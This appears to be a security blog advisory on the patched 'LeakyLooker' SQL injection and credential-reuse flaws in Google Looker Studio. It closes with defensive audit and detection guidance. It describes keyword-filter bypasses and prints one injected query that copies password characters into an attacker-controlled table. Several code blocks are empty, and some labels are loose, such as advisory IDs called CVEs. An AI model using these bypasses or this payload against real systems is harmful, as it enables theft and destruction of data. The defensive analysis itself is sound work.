Introduction
Google Looker Studio, a powerful Business Intelligence platform, connects live to your data sources—BigQuery, PostgreSQL, MySQL, Google Sheets, Cloud Storage—enabling real-time dashboards and reports. But a series of nine critical cross-tenant vulnerabilities (dubbed “LeakyLooker”) turned this strength into a major attack surface. Attackers could execute arbitrary SQL, exfiltrate sensitive data, and modify records without victim interaction or permission.
The core issue: Looker Studio’s credential architecture—differentiating between Owner Credentials (editor-level access) and Viewer Credentials (report consumer)—created two distinct attack vectors. A sophisticated attacker could craft malicious shared reports leveraging these credentials, executing zero-click server-side exploitation or luring victims through single-click social engineering.
Google has patched all nine vulnerabilities. However, understanding these flaws is critical: many organizations still rely on Looker Studio for sensitive analytics, and legacy deployments may remain exposed if not updated.
This post maps the vulnerability landscape, dissects three critical CVEs with proof-of-concept analysis, and provides detection and defensive strategies to help you audit your Looker Studio footprint.
Vulnerability Landscape
The nine LeakyLooker flaws emerged from two key architectural decisions that, when combined, created a perfect storm for exploitation.
Credential Models: Looker Studio supports two authentication modes. Owner Credentials Mode executes all queries against the original data source using the report owner’s authentication token—regardless of who views the report. This model prioritizes consistency (all viewers see identical data) but centralizes risk: a malicious shared report executes under the owner’s privileged context. Viewer Credentials Mode distributes authentication: each viewer authenticates independently, reducing the attack surface per report but introducing risk if compromised viewers are leveraged.
Attack Paths: These credential models enabled two exploitation pathways. 0-Click Attacks exploit Owner Credentials: attackers craft a malicious report and share it with a target owner. When the owner views their own report, the server executes injected SQL queries silently—no victim interaction required, just viewing the report. 1-Click Attacks exploit Viewer Credentials: attackers craft a malicious report link and socially engineer victims into clicking it. A single click triggers report opening, which executes the injected SQL in the victim’s context.
The Root Vulnerability: Looker Studio’s live data architecture—directly connecting to databases and issuing real-time queries—meant credentials flowed constantly through the system. Unlike static reports or cached data, live connections created continuous opportunities for SQL injection, data interception, and malicious query execution. Across these two credential models and two attack paths, the vulnerability surface exploded into nine distinct CVEs.

Deep Dive #1: TRA-2025-28 – Zero-Click SQL Injection via Alias Injection
CVE: TRA-2025-28 Attack Type: 0-Click SQL Injection (Owner Credentials) Severity: Critical Impact: Arbitrary SQL execution in victim’s GCP project
The Vulnerability
Looker Studio allowed users to define custom column aliases in report configurations—friendly names for calculated or raw fields. These aliases were directly concatenated into BigQuery SQL queries without sanitization. An attacker could inject malicious SQL by crafting a specially formatted alias, bypassing Google’s input validation filters. When a report owner viewed the malicious report, Looker Studio silently executed the injected SQL under the owner’s credentials—no victim interaction required.
Bypass Techniques
Google’s input validation blocked obvious dangerous characters: dots (.), spaces, and SQL keywords. Attackers circumvented these filters using two methods:
SQL Comment Bypass: Replace spaces with empty SQL comments (/**/). Instead of SELECT * FROM table, an attacker submitted:
| |
The database parser treats /**/ as valid whitespace, reconstructing the original query while bypassing the space filter.
Character Encoding Bypass: Reconstruct dots and other characters using CHR() and CONCAT() functions. Rather than writing project.dataset.table, an attacker submitted:
| |
CHR(46) is the ASCII code for ., allowing attackers to reference fully qualified table names while evading the dot filter.
Attack Chain
- Setup: Attacker creates or gains access to a shared Looker Studio report
- Injection: Malicious SQL (using bypass techniques) embedded in a custom column alias
- Config Storage: Looker Studio stores the report config, including the alias, without sanitization
- Owner Trigger: Report owner views the shared report
- Query Construction: Looker Studio builds the BigQuery SQL query, concatenating the alias directly
- Silent Execution: Query executes under owner’s credentials; arbitrary SQL runs in owner’s GCP project context
Impact
From a single malicious report, attackers could:
- Read: Exfiltrate all data from all BigQuery datasets in the owner’s project
- Write: Insert malicious or fraudulent records into any table
- Delete: Drop entire datasets or tables, destroying data integrity
- Modify: Alter table schemas, credentials, or access controls
Real-World Example
An innocent report config with an alias:
| |
An attacker’s malicious alias:
| |
When concatenated, Looker Studio constructs:
| |
The query breaks into two statements: the original SELECT, then an unexpected DELETE under the owner’s credentials.
Root Cause Analysis
Why did this critical flaw persist?
- Input validation blocked obvious characters but not SQL syntax edge cases
- Developers didn’t anticipate comment syntax (
/**/) as a whitespace bypass - Character encoding functions (
CHR,CONCAT) bypassed character filters - Aliases were concatenated directly into SQL strings instead of parameterized queries
- No prepared statement protection; database drivers received raw, user-influenced SQL
Key Emphasis: The 0-click nature makes TRA-2025-28 exceptionally dangerous—viewing a report is exploitation. Combined with full database access, a single malicious shared link compromises an entire GCP project’s data layer.

Deep Dive #2: TRA-2025-29 – The “Sticky Credential” Flaw
CVE: TRA-2025-29 Attack Type: Privilege Escalation / Credential Exposure Severity: Critical Impact: Unauthorized database access using owner’s stored credentials
The Vulnerability
Looker Studio’s “Copy Report” feature was designed for collaboration. However, the implementation committed a critical sin: when a report was copied, Looker Studio preserved the original owner’s stored database credentials in the copy. Any user with read access to a report connected to a JDBC data source (PostgreSQL, MySQL, etc.) could copy it and immediately inherit the owner’s authentication credentials. The attacker doesn’t need to know the actual password—Looker Studio automatically decrypts and applies it. The attacker can immediately access the “Custom Query” feature to execute arbitrary SQL using the stolen credentials.
Why It’s Particularly Dangerous
Unlike TRA-2025-28 (which requires SQL injection sophistication), this attack demands zero technical expertise. An attacker with read access simply:
- Copies the report (one click)
- Accesses the Custom Query feature in their own copy
- Executes arbitrary SQL using the original owner’s database credentials
- Original owner has zero visibility into the attack
The owner sees no alerts, no suspicious activity in their Looker reports—the malicious query executes under their credentials at the database level, appearing as if they performed the action.
Attack Scenario
Timeline:
- Setup: Alice (database engineer) creates a Looker Studio report connected to her PostgreSQL database, authenticated with her personal database credentials
- Sharing: Alice shares the report with her team (or it’s accessible via a shared link)
- Access: Eve (attacker) gains access through social engineering, a compromised account, or discovers the public link
- Copy: Eve copies the report → Looker Studio auto-preserves Alice’s database credentials in the copy
- Exploitation: Eve accesses the Custom Query feature in her copied report
- Execution: Eve executes a malicious query using Alice’s credentials:
| |
Result: Financial records are deleted under Alice’s credentials, without her knowledge. Database audit logs show Alice performed the deletion. Alice is blamed; the actual attacker remains invisible.
Root Cause Analysis
The flaw: Looker Studio did not re-authenticate when reports were copied. The system assumed that if a user could view a report, they should inherit its credentials—conflating read access with write access to underlying data.
Better approaches: Re-authenticate on copy; avoid plaintext credential storage; use limited-permission service accounts instead of personal credentials; restrict who can copy sensitive reports; implement database-level field encryption.

Deep Dive #3: TRA-2025-27 – Blind Data Exfiltration via NATIVE_DIMENSION
CVE: TRA-2025-27 Attack Type: 1-Click SQL Injection + Blind Exfiltration Severity: Critical Impact: Database enumeration and character-by-character data extraction
The Vulnerability
Looker Studio’s NATIVE_DIMENSION feature allowed users to define custom calculated fields executing raw SQL directly against connected databases in the viewer’s context. The implementation concatenated user input directly into queries without escaping. An attacker could inject malicious SQL into a NATIVE_DIMENSION field, bypassing keyword filters using SQL comment tricks. Victims unknowingly executed the attack by simply opening a malicious report link—no additional interaction required.
Filter Bypass & Exfiltration Technique
Looker Studio blocked SQL keywords (SELECT, FROM, WHERE) via input validation. Attackers bypassed this by splitting keywords with empty SQL comments:
| |
Database parsers reconstruct the original query while comments bypass the filter. TRA-2025-27 then exploited side channels—indirect signals that reveal data without direct visibility:
- Victim opens malicious report link → Phishing email with crafted report
- SQL injection triggers → Malicious SQL executes under victim’s credentials
- Schema enumeration → Attacker queries
INFORMATION_SCHEMAfor all tables, columns, data types - Character-by-character exfiltration → Data written to attacker-controlled tables:
1 2INSERT INTO `attacker-project.public.exfil` SEL/**/ECT SUBSTRING(password, 1, 1) AS char FR/**/OM users; - Reconstruction from logs → Google Cloud audit logs reveal query timing, error messages, and row counts, allowing password reconstruction without seeing results directly.
Why “Blind” Works
Attackers never see query results but extract data through side channels:
- Timing: Data existence revealed by execution speed
- Error messages: Indicate table permissions or structure
- Row counts: Show how many matching records exist
- Audit logs: Expose exact queries executed under victim’s account
These signals enable character-by-character extraction.
Real-World Impact
A victim clicks a phishing link. Within seconds: entire database schema enumerated, sensitive tables identified, passwords extracted to attacker-controlled tables. The victim has zero visibility until audit logs are reviewed. The 1-click nature plus complete invisibility makes TRA-2025-27 exceptionally dangerous.

Defensive Measures & Audit Checklist
While Google has patched these vulnerabilities, proactive audits are essential to understand exposure.
Access Control Audit:
- List all shared reports (public and private)
- Assess if all recipients need access
- Remove unnecessary viewers from sensitive data
Data Source Connectors Audit:
- Inventory active connectors (BigQuery, PostgreSQL, MySQL, Google Sheets, Cloud Storage, Spanner)
- Map reports to connectors
- Eliminate unnecessary connections
Credential Management:
- Rotate all database passwords immediately
- Replace personal credentials with service accounts (limited permissions)
- Store credentials in Google Cloud Secret Manager
- Restrict Looker Studio OAuth scopes
Report Copy Restrictions:
- Disable “Copy Report” if not essential
- Audit existing copies for credential exposure
Quick Checklist:
- Audited “View” access to all reports
- Removed unnecessary shared access
- Documented all data source connectors
- Rotated all database credentials
- Migrated to service accounts
- Limited report creation permissions
- Restricted Looker Studio OAuth scopes
- Disabled Copy Report
- Documented acceptable custom query usage
Governance Moving Forward:
- Require approval before new data source connections
- Use naming conventions (prefix sensitive reports:
SENSITIVE_) - Conduct quarterly access reviews
- Monitor Cloud Audit Logs for anomalies
Detection Strategies
Although Google has patched these vulnerabilities, detecting exploitation attempts and confirming your exposure is critical. Audit logs are your primary detection mechanism—attacks leave distinct traces in query patterns and credential usage.
BigQuery Audit Log Signals
Query suspicious SQL patterns indicating injection attempts:
| |
Identify unusual DELETE and DROP operations:
| |
Looker Studio Activity Signals
- Reports accessed by unexpected users or at unusual times (outside business hours, from new geographies)
- Custom queries containing raw SQL with comment bypasses (
/**/), character encoding (CHR,CONCAT) - Report copy events immediately followed by Custom Query execution
NATIVE_DIMENSIONfields containing SQL keywords or comment syntax
Database Connection Anomalies
- Database connections from unexpected IP addresses or GCP projects not normally accessing the database
- Credentials used after the associated user account was deactivated or suspended
- Unusual volumes of
INFORMATION_SCHEMAqueries within short time windows - DELETE or DROP operations originating from Looker Studio service accounts
Immediate Response Procedure
If exploitation is detected:
- Isolate – Disable Looker Studio report access immediately; revoke sharing links
- Investigate – Review full audit logs for extent and timeline of compromise
- Remediate – Rotate all database credentials and Looker Studio OAuth tokens
- Restore – Restore affected data from backups if deletions are confirmed
- Harden – Implement defense measures from the Defensive Measures section above

Conclusion
LeakyLooker represents a critical failure in security architecture—one that Google has patched, but whose lessons extend far beyond Looker Studio. Live database connections, insufficient credential isolation, and direct SQL concatenation created an exploitable nightmare. These failures aren’t unique to Looker; they highlight vulnerabilities present in many BI tools and data platforms.
Key Takeaways
Live data connections are inherently high-risk. Direct database connections demand fortress-level security. If your BI platform connects live to production databases, assume the worst and architect accordingly.
Credentials shouldn’t persist across security boundaries. Looker Studio’s “Sticky Credential” flaw violated a cardinal rule: inherited credentials from copied reports. Restrict who can copy sensitive configurations; use temporary, limited-permission tokens instead of long-lived credentials.
Multi-layered filtering isn’t enough—use parameterized queries. Bypasses like SQL comments and character encoding will always exist. The only true defense is parameterized queries (prepared statements) that structurally separate data from code.
Audit logs are your safety net. Query logs revealed exploitation in TRA-2025-27 and TRA-2025-29 when nothing else would. Invest in log aggregation, anomaly detection, and regular reviews.
Next Steps
For teams managing Looker Studio or similar BI platforms, the time to act is now. Audit your access controls ruthlessly. Rotate all stored credentials immediately—replace personal credentials with service accounts holding minimal necessary permissions. Implement detection strategies using Cloud Audit Logs to identify suspicious SQL patterns and unauthorized data access. Don’t assume patches alone protect you; understand your exposure.
